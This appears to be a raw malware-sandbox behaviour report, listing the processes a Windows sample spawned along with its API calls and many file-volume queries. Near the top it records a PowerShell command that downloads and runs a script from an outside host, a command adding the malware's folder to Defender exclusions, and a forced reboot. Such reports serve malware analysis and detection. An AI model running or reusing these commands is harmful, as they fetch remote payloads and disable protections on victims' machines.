Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -Command "$psakeDir = ([array](dir """C:\Users\user\Desktop\vendor\packages\psake.*"""))[-1]; ".$psakeDir\tools\psake.ps1" build.psake.ps1 -ScriptPath "$psakeDir\tools" ; if ($psake.build_success -eq $false) { exit 1 } else { exit 0 }"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\_kjfech8_V\_kjfech8_Vi7.exe "C:\_kjfech8_V\_kjfech8_Vi7.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://fsnat.shop/a/08/150822/up/up') "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_kjfech8_V"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -noprofile -executionpolicy bypass -command "$psakedir = ([array](dir """c:\users\user\desktop\vendor\packages\psake.*"""))[-1]; ".$psakedir\tools\psake.ps1" build.psake.ps1 -scriptpath "$psakedir\tools" ; if ($psake.build_success -eq $false) { exit 1 } else { exit 0 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -noprofile -executionpolicy bypass -command "$psakedir = ([array](dir """c:\users\user\desktop\vendor\packages\psake.*"""))[-1]; ".$psakedir\tools\psake.ps1" build.psake.ps1 -scriptpath "$psakedir\tools" ; if ($psake.build_success -eq $false) { exit 1 } else { exit 0 }"			Jump to behavior

Source: powershell.exe, 00000004.00000002.30098453152.000001E7A2B4E000.00000004.00000800.00020000.00000000.sdmp, _kjfech8_Vi7.exe, 0000000B.00000002.29806435683.000000006C6D4000.00000002.00000001.01000000.0000000A.sdmp

Binary or memory string: @Winapi@Windows@DOF_PROGMAN

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,free,_calloc_crt,strncpy_s,GetLocaleInfoW,GetLocaleInfoW,_calloc_crt,GetLocaleInfoW,GetLastError,_calloc_crt,free,free,_invoke_watson,	9_2_6FD8888A
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,malloc,	9_2_6FD8871C
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,	9_2_6FD886FD
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoA,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,_errno,	9_2_6FD865F0
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,strcmp,strcmp,GetLocaleInfoW,atol,GetACP,	9_2_6FD885AC
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: _getptd,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_itoa_s,_mbsnbicoll,strlen,EnumSystemLocalesA,strcpy_s,_invoke_watson,	9_2_6FD88468
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: strlen,EnumSystemLocalesA,	9_2_6FDFF42E
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: strlen,strlen,EnumSystemLocalesA,	9_2_6FDFF3C7
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: _getptd,GetLocaleInfoA,_stricmp,_stricmp,	9_2_6FDFF307
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,_stricmp,GetLocaleInfoA,_stricmp,_strnicmp,strlen,GetLocaleInfoA,_stricmp,strlen,_stricmp,	9_2_6FDFF136
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,strlen,	9_2_6FDFF0DB
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: _getptd,GetLocaleInfoA,_stricmp,	9_2_6FDFF034
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,free,_calloc_crt,strncpy_s,GetLocaleInfoW,GetLocaleInfoW,_calloc_crt,GetLocaleInfoW,GetLastError,_calloc_crt,free,free,_invoke_watson,	11_2_6FD8888A
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,malloc,	11_2_6FD8871C
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,	11_2_6FD886FD
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoA,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,_errno,	11_2_6FD865F0
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,strcmp,strcmp,GetLocaleInfoW,atol,GetACP,	11_2_6FD885AC
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: _getptd,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_itoa_s,_mbsnbicoll,strlen,EnumSystemLocalesA,strcpy_s,_invoke_watson,	11_2_6FD88468
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: strlen,EnumSystemLocalesA,	11_2_6FDFF42E
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: strlen,strlen,EnumSystemLocalesA,	11_2_6FDFF3C7
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: _getptd,GetLocaleInfoA,_stricmp,_stricmp,	11_2_6FDFF307
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,_stricmp,GetLocaleInfoA,_stricmp,_strnicmp,strlen,GetLocaleInfoA,_stricmp,strlen,_stricmp,	11_2_6FDFF136
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: GetLocaleInfoW,strlen,	11_2_6FDFF0DB
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: _getptd,GetLocaleInfoA,_stricmp,	11_2_6FDFF034

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
